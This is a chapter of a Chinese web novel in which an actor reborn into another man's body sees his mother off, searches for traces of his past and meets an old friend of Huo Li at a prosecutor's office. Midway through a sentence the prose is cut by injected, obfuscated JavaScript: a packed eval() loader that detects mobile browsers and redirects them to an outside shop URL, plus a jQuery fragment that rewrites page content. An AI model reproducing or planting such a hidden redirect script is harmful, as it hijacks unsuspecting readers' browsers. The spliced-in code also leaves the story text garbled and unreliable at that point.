拍戏中途陶秋珩请了两小时假,送沈向榆去机场。车是问剧组借的,他很少开车,开着导航也怕走错路。
沈向榆知道他是好心,“你拍戏忙可以不用送,我自己可以坐地铁或者打车过去。”
“没关系。”沈向榆的工作早结束了,为了他特地晚了一周回去,但他平时拍戏抽不出多少时间,心里有些过意不去,“你好不容易来一趟陪我拍戏。”
这段时间陶秋珩的戏份不是被摔就是被打,有专业人士指导,免不了身上有淤青。他属于敏感体质,平时开玩笑拍一巴掌都能留下五个手指印。虽说是工作需要,但沈向榆帮他擦药膏看他的伤,还有手术后的疤痕忍不住心疼。
早几年她还会劝陶秋珩放弃演员的工作,家里可以供他一辈子。现在想来,还好当时她和陶屹知把陶秋珩的个人意愿放在第一位,不束缚他,让他能自由展翅。
沈向榆心里欢喜:“快杀青了吧,回北京直接回家里,你爸好几个月没见你了。”
陶秋珩应道:“知道。渝江的部分杀青,有一周的时间可以在家。七月要去鹭城拍剩下的部分,真正杀青是九月。”
沈向榆在剧组外围观了几次拍戏,好奇问:“你们这个剧讲的是什么故事?”
“暂时不能说,是个原创剧本。”
“上星吗?”沈向榆问,“到时候我让学校老师学生都看。”
“上吧。”陶秋珩的脸被太阳晒得有些热。
拍了几年的戏还没几部上星的剧,于他而言,这是他真正意义上的第一部男主戏,而且还跟霍黎的利益挂钩,压力是双倍的。
想到霍黎,那晚之后他和霍黎没有再联系,在酒店也没碰过面,应该是回北京了。霍翔嵩的事告一段落,他也没有继续留下渝江的理由。
陶秋珩把车停到停车场,戴上帽子和口罩,下车帮沈向榆拿行李。沈向榆来的时候是一个箱子,回去时候变成两个箱子,小箱子里不知装了什么,很沉。
“送到这里就行了,不用上去了。”沈向榆从他手里接过行李箱。
“不差这几步路。”陶秋珩裹得严严实实,只露出双眼睛。
“怕拍完这部剧红了,不能像现在这么自由了?”
“妈……说远了。”
沈向榆现在喜欢逗他,不像小时候只会顶嘴。
直梯里没有别人,声音隔着口罩传出来:“妈,家里有我以前的照片吗?小学、初中、高中时期的。”
他重生醒来,能自由行动后拿到手机是一台新的,里面插了一张新办的电话卡,相册里空荡荡,他对自己这个身体的主人一无所知。爸妈只对他说了他们知道的事,完全没提陶秋珩认识什么人,有没有朋友。
当时脑子太混乱没去细想,Lan的出现让他对“陶秋珩”的过去有了探知欲。
沈向榆问:“怎么忽然问起这个。”
“有个综艺,需要嘉宾提供小时候的照片。”陶秋珩印象中在哪个综艺企划里看到有这么个环节,直接搬过来用。
“怎么突然想参加综艺?”
他不参加综艺这事沈向榆是知道的,现在忽然改变主意,总要有个理由。
陶秋珩替沈向榆挡着电梯门,让沈向榆先出去。自然地接过一个行李箱,“想试试换个环境。”
“也好。”沈向榆认同他这个做法,“等到家了我找出来发给你。”
“不着急,您想来再发给我也行。”
又是一个通宵拍戏,城市入眠之后剧组依旧灯火通明。还没有完全入夏,夜晚凉爽,剧组给所有人准备了宵夜,红糖冰汤圆,吃完之后疲惫感一扫而空。
休息的间隙,陶秋珩才有空看手机,红点上显示数字30。沈向榆给他发了照片,从头翻到底,是“陶秋珩”从小到大的照片,有单人的,也有合照。有用手机对着照片拍的,也有直接是原图的,家庭合照居多,还有他各个阶段的毕业照。
没有他想要的信息。
他还是给沈向榆回复:谢谢妈「爱心」。
既然生活照里找不出线索,那公开场会不会留下什么?时尚圈和娱乐圈不是两个完全独立的圈子,或许某场活动中Lan和“陶秋珩”有过交集。
回到酒店他立刻着手这件事。
先从微博入手,他的微博一直是公司在运营,他自己很少登陆,但他自己注册过一个小号,没有关注,没有粉丝,没有发过内容。他搜了自己名字,关联用户第一个就是他的微博,没翻几条就看不到了,微博设置了半年可见。
只能切回大号,还是无果。第一条微博是他坠马受伤后的回应,他不记得自己有发过这条,应该是前公司帮他发的。“陶秋珩”在演完《不复云归》之后签过一个小公司,那家公司在他出事之后倒闭了,老板也跑路了。再往后的微博,是他加入赛尔娱乐之后发的一些没有营养的营业微博。
他把陶秋珩和Lan的名字放在一起搜,搜出来的全是近期的消息,两个人似乎完全没有交集。再往下查或许只能运用一些非法手段了,他暂时还没有这方面的打算和能力。
几个小时都花在这上面,不知不觉天亮了,过了睡觉时间也无睡意,倒是肚子有些饿了。陶秋珩打开衣柜,目光不自觉落到角落的睡衣上,摸了摸领口,手移到旁边,取下一件T恤和衬衣,换好衣服,戴上口罩和帽子出门觅食。
酒店餐厅有供应早餐,陶秋珩吃过几次味道不错。
电梯在上一层停了一下,陶秋珩心想,不会这么巧是霍黎吧。
几秒后电梯门在他面前打开,里面只有一个人。陶秋珩没有犹豫走进去,“早啊,霍黎。”
霍黎冷冷回了一句“早”。
数字键“3”亮着,陶秋珩不用再按一次,他站到霍黎身边,“你也去吃早餐?”
“嗯。”依旧冷漠。
这段时间好不容易有的进展,一朝回到公园前。
陶秋珩对下定决心要做的事不着急,温水煮青蛙,慢慢耗着。
他现在还没办法把自己的个人情感强加到“陶秋珩”身上,他所做的一切是以“陶秋珩”这个人为前提,不能自私地以失忆为借口否定了他十九年的人生。沈向榆和陶屹知都是传统的人,不知道他们能不能接受自己的儿子是个Gay。
酒店的早餐是自助形式,只是对普通客人,不包括霍黎。他拿着菜单点完之后,问陶秋珩要吃什么。
“馒头。”
“……”
不多时,陶秋珩面前摆了一盘黄金小馒头和银丝卷。
“有金有银,还满意吗?”
陶秋珩不解。
霍黎双手撑着下巴,“你们娱乐圈不就迷信这些,干什么都要讨个吉利。”
“你们做生意搞投资的不也一样。”陶秋珩反将一军,他各夹了一种馒头放到霍黎的盘子里,“那就祝《繁城》拍摄顺利,收视创新高,你的项目赚得盆满钵满。”
霍黎从不在饮食方面亏待自己,年少时就看出来了,会为了一杯咖啡每天到距离学校二十公里外的咖啡厅;吃火锅时烫蔬菜要在清汤里过一遍,避免沾上红油,保留蔬菜的原汁原味;早餐更不用说,雯姨准备的早餐比学校食堂都丰富,就算上课要迟到,也要把早餐吃了才去上课,早晨就饿着肚子这一整天废的。
在霍家暂住的那段日子,他吃过的餐食种类比任何时候都多,这里面一半是霍黎的功劳。
这次也托霍黎的福,吃到了他今年最丰盛的早餐。
陶秋珩扯了张桌上的餐巾纸,擦掉嘴角的食物残渣,“多谢霍总款待。”
“真想谢把你上午的时间给我。”霍黎一点都不客气,“我看过拍摄通告,你早上没戏。”
拍程竟的戏压力来自方方面面,除了时间,他会给够演员充足的休息时间,到了片场半点马虎都不能有。
车停在霍黎家门外,霍黎打了个电话说自己已经到了。
陶秋珩把安全带抓在手里,“我今天要扮演什么角色?”
霍黎单手搭在方向盘上,侧身说:“当个哑巴最好。”
“不可能,嘴长在我身上。”陶秋珩听到开门声,霍翔嵩独自从屋里出来,“你还真是抓准时机就给你爸添堵。”
霍黎挑了挑眉。
霍翔嵩出来,见副驾上坐了个人,脸色依旧阴沉,拉开后座的门。
到了检察院,霍黎先放霍翔嵩下车,拐去找停车的地方。
进了大厅,长椅上坐着一个人。那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759024|183250||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人看到霍黎愣了一下,惊讶道:“霍黎?”
霍黎蹙了下眉,笑容绽开,“赵瑧言?嘶……你脸上怎么回事?”
“没事,我自己弄的。”赵瑧言苍白地笑了笑,注意到霍黎身后跟着个人,帽子压得很低,看不见脸。
“行,长大了,学会自己扇自己巴掌了。”霍黎搭着他的肩膀,照着他的肚子开玩笑地给了一拳。
赵瑧言跟他扣住霍黎的手腕,往后撤一步,反手将霍黎的手扣在身后。
“赵瑧言从哪儿学的?”霍黎挣了一下,赵瑧言就松手了。
“你得服老,哥。”
“我就比你大一年。”
赵瑧言跟霍黎闹了通,陶秋珩见霍黎没有要介绍他的意思,有分寸地拉开距离。赵瑧言早注意到他,问了霍黎。
霍黎说:“就一个朋友。”
赵瑧言眼神立刻变得意味深长:“哪种朋友?”
“别想太多,就只是朋友,没有前缀,很单纯的那种。”
赵瑧言不追问,笑道:“那就好。”
距离不远,他们说了什么陶秋珩听的一清二楚,他走去,没摘帽子,伸出手,“你好,我是陶秋珩。”
“赵瑧言。”对方握了握他的手。
三人并排坐在大厅的长凳上。
“我听说你出国了,因为你爸的事回来的?”霍黎问。
赵瑧言的眼睛有些红:“嗯,二十年前的事终于有个结果,我当然要回来。这次谢谢霍叔叔,没有他,我爸可能都翻不了案。”
“真相总会来到,只是时间的问题。”霍黎望着远处,也不知这句话是安慰赵瑧言,还是对自己说的。
“怎么只有你来,左弈呢?这个案子也牵扯到他家里。”
听到个熟悉的名字,一直沉默的陶秋珩忽然抬头,转过脸看向赵瑧言。
赵瑧言清了下嗓子,苦笑道:“我也希望他来,我六年没见他了。”
霍黎沉默片刻,想起什么似的,“我知道那小子高中的时候有个喜欢的人,是你啊?”
“我以为你知道。”
“我知道个鬼,我都什么都没说……”霍黎顿了顿,“说了一些,他问了我跟韩洋的事。”
陶秋珩想插一嘴,他太想知道霍黎说了什么,却没有立场问出口。
“因为我爸那个案子,他大概不想因为复读而影响我升学。”赵瑧言说,“不是一两句话能说清楚的,各种原因加在一起,逼迫他当时必须那么做。”
陶秋珩在旁边听着,他能理解左弈。
年少时认识的伙伴,懵懂地以为大家都会走向光明的未来,但好像每个人都不是一帆风顺,风浪是未知的,一个巨浪拍下来就会偏离航线。
不是每个人都能到达理想的彼岸。
霍翔嵩从问询室出来,一同出来的还有两个人,看容貌能辨认是赵瑧言的父亲和左弈的母亲。
从刚才的聊天中,他提取出信息。赵瑧言的父亲坐过牢,他的背脊微微佝偻着,走路时左脚有些簸,脸上有一道触目惊心的褐色疤痕,从眼角一直延伸到太阳穴。
赵瑧言跟他父亲长得很像,即使头发半白,脸上有了疲态,依然能想象出他年轻时的神采。
陶秋珩心里一阵惋惜。
霍翔嵩送他们出检察院,霍黎和陶秋珩在后面跟着,目送赵瑧言一行人上车。
“你看什么?”霍黎问,“从进了检察院那就没说话。”
陶秋珩收回目光,“你不是让我今天当哑巴吗?”
霍黎意外道:“这么听话?”
陶秋珩十分真诚地看着他,“谢谢你啊。”
“谢我什么?”
“今天之前我一直担心要怎么演出十五年后的陆凡成,好不容易从痛苦的泥泞中爬出来,结果又落入深渊,最后又获得新生。”陶秋珩说,“我刚才看到赵瑧言的父亲,深受启发。”
霍黎再次解释,“只是巧合。”
陶秋珩眨眼时,睫毛像蝴蝶翅膀扇了扇:“看来是天意。”
树荫下起了一阵风,树叶随风而动。
“咳咳。”旁边传来一声轻咳,两人同时转头。
霍翔嵩道:“办完事了还不舍得走?”